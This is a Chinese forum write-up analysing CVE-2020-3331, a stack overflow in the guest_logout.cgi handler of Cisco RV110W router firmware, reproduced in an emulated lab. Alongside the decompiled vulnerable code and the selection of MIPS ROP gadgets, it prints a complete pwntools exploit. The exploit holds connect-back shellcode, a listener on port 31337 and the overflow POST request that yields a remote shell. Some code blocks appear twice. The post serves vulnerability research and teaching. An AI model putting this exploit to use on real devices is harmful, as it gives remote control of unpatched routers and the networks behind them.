-
-
[原创]Cisco RV110W 远程代码执行漏洞分析(CVE-2020-3331)
-
发表于: 2022-3-16 20:49 10688
-
本漏洞存在于CISCO RV110W-E-CN-K9(固件版本1.2.2.5),漏洞原因是cgi接口guest_logout.cgi中存在栈溢出漏洞,而因为mips本身不支持NX从而导致可以使用shellcode得到shell
由于不想入手路由器故采用了这位师傅所搭建的项目firmianay/IoT-vulhub: IoT 固件漏洞复现环境 (github.com),感谢这位师傅提供的环境
漏洞程序是/usr/sbin/下的httpd文件,拖入ida搜索字符串guest_logout_cgi定位到guest_logout_cgi函数,发现漏洞点
这里的sscanf函数通过正则表达式将v11中的数据分别存储到v29和v28中,其中v29存储的是分号前的所有字符,而v28存储的是不在分号后和等号前但在等号后换行符前的所有字符
而v11来自submit_button处
再来看一下这个接口所需要的其他数据
这里尝试构造payload,使用mipsrop插件在程序中寻找gadget,但是由于程序本身的gadget存在00会导致截断所以尝试在libc中寻找gadget,程序的libc在/lib/libc.so.0处,找到两个可以利用的gadget
第一个gadget的作用是将$sp+0x18放入a0寄存器然后再跳转到$s0寄存器所指向的地址处,第二个的作用是跳转到$a0寄存器所指向的地址,那么我们就可以通过将shellcode写入到$sp+0x18处,然后将返回地址覆盖为第一个gadget,并提前将so寄存器的值改为第二个gadget这样程序就会执行我们的shellcode,整体流程如下
这里因为项目里所提供的exp是使用msf生成的所以并没有使用该exp,而是使用了另一位师傅的exp,完整exp如下,这里libc基址需要根据自己的环境改动下
参考链接
[1]:思科路由器 RV110W CVE-2020-3331 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)
[2]:[原创]思科RV110W CVE-2020-3331漏洞调试与iot靶场搭建-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com
[3]:HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
[4]:IoT-vulhub/Cisco/CVE-2020-3331 at master · firmianay/IoT-vulhub (github.com)
if
( !strstr(v11,
"status_guestnet.asp"
) )
goto LABEL_31;
sscanf(v11,
"%[^;];%*[^=]=%[^\n]"
, v29, v28);
if
( !strstr(v11,
"status_guestnet.asp"
) )
goto LABEL_31;
sscanf(v11,
"%[^;];%*[^=]=%[^\n]"
, v29, v28);
v11
=
(const char
*
)get_cgi(
"submit_button"
);
v11
=
(const char
*
)get_cgi(
"submit_button"
);
v5
=
(const char
*
)get_cgi((
int
)
"cmac"
);
v6
=
(const char
*
)get_cgi((
int
)
"cip"
)
v5
=
(const char
*
)get_cgi((
int
)
"cmac"
);
v6
=
(const char
*
)get_cgi((
int
)
"cip"
)
|
0x000257A0
| addiu $a0,$sp,
0x38
+
var_20 | jalr $s0
|
0x0003D050
| move $t9,$a0 | jalr $a0
|
0x000257A0
| addiu $a0,$sp,
0x38
+
var_20 | jalr $s0
|
0x0003D050
| move $t9,$a0 | jalr $a0
jr $ra
/
/
addiu $a0,$sp,
0x18
;jalr $s0
jalr $s0
/
/
move $t9,$a0 ; jalr $a0
jalr $a0
/
/
shellcode
jr $ra
/
/
addiu $a0,$sp,
0x18
;jalr $s0
jalr $s0
/
/
move $t9,$a0 ; jalr $a0
jalr $a0
/
/
shellcode
from
pwn
import
*
import
thread,requests
context(arch
=
'mips'
,endian
=
'little'
,os
=
'linux'
)
io
=
listen(
31337
)
libc
=
0x2af98000
jmp_a0
=
libc
+
0x0003D050
# move $t9,$a0 ; jalr $a0
jmp_s0
=
libc
+
0x000257A0
# addiu $a0,$sp,0x38+var_20 ; jalr $s0
shellcode
=
"\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode
+
=
"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode
+
=
"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode
+
=
"\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode
+
=
"\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode
+
=
"\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode
+
=
"\xf8\xff\xa5\xaf\x01\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
shellcode
+
=
"\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode
+
=
"\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode
+
=
"\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode
+
=
"\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode
+
=
"\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode
+
=
"\xab\x0f\x02\x24\x0c\x09\x09\x01"
payload
=
"status_guestnet.asp"
+
'a'
*
49
+
p32(jmp_a0)
+
0x20
*
'a'
+
p32(jmp_s0)
+
0x18
*
'a'
+
shellcode
paramsPost
=
{
"cmac"
:
"12:af:aa:bb:cc:dd"
,
"submit_button"
:payload,
"cip"
:
"192.168.1.100"
}
def
attack():
try
: requests.post(
"https://192.168.1.1/guest_logout.cgi"
, data
=
paramsPost, verify
=
False
,timeout
=
1
)
except
:
pass
thread.start_new_thread(attack,())
io.wait_for_connection()
log.success(
"getshell"
)
io.interactive()
from
pwn
import
*
import
thread,requests
context(arch
=
'mips'
,endian
=
'little'
,os
=
'linux'
)
io
=
listen(
31337
)
libc
=
0x2af98000
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!